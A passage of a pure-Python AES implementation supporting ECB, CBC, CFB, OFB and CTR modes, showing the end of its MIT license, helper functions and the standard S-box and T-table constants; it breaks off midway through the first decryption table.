limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # This is a pure-Python implementation of the AES algorithm and AES common # modes of operation. # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard # Honestly, the best description of the modes of operations are the wonderful # diagrams on Wikipedia. They explain in moments what my words could never # achieve. Hence the inline documentation here is sparer than I'd prefer. # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: # https://www.dlitz.net/software/pycrypto/ # Supported key sizes: # 128-bit # 192-bit # 256-bit # Supported modes of operation: # ECB - Electronic Codebook # CBC - Cipher-Block Chaining # CFB - Cipher Feedback # OFB - Output Feedback # CTR - Counter # See the README.md for API details and general information. import copy import struct __all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB", "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"] def _compact_word(word): return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] def _string_to_bytes(text): return list(ord(c) for c in text) def _bytes_to_string(binary): return "".join(chr(b) for b in binary) def _concat_list(a, b): return a + b # Python 3 compatibility try: xrange except NameError: xrange = range # Python 3 supports bytes, which is already an array of integers def _string_to_bytes(text): if isinstance(text, bytes): return text return [ord(c) for c in text] # In Python 3, we return bytes def _bytes_to_string(binary): return bytes(binary) # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first def _concat_list(a, b): return a + bytes(b) # Based *largely* on the Rijndael implementation # See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf class AES(object): '''Encapsulates the AES block cipher. You generally should not need this. Use the AESModeOfOperation classes below instead.''' # Number of rounds by keysize number_of_rounds = {16: 10, 24: 12, 32: 14} # Round constant words rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] # S-box and Inverse S-box (S is for Substitution) S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] # Transformations for encryption T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] # Transformations for decryption T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 